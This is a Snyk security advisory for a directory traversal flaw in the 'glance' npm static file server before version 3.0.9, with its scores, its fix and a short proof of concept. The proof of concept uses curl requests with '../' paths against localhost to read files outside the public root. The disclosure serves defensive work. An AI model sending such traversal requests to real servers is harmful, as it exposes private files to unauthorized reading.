Directory Traversal Affecting glance package, versions <3.0.9


0.0
medium

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.06% (25th percentile)
Expand this section
NVD
6.5 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GLANCE-3318395
  • published 12 Feb 2023
  • disclosed 12 Feb 2023
  • credit Liran Tal - Snyk Research Team

How to fix?

Upgrade glance to version 3.0.9 or higher.

Overview

glance is a quick disposable http server for static files.

Affected versions of this package are vulnerable to Directory Traversal that allows users to read files outside the public root directory. This is related to but distinct from the vulnerability reported in CVE-2018-3715.

PoC

Run glance in a directory containing subdirectories named private, public and public-isprivate, setting public as the public root directory.

npx glance --dir "public" --verbose

Run these from the same directory:

curl --path-as-is "http://localhost:8080/../private/index.html" This request is denied, as expected with the prior vulnerability fix.

curl --path-as-is "http://localhost:8080/../public/index.html" This request is allowed, as expected with the functionality of the local HTTP server.

curl --path-as-is "http://localhost:8080/../public-isprivate/index.html" This request should be denied because it is outside the public/ folder, but it is actually allowed.

References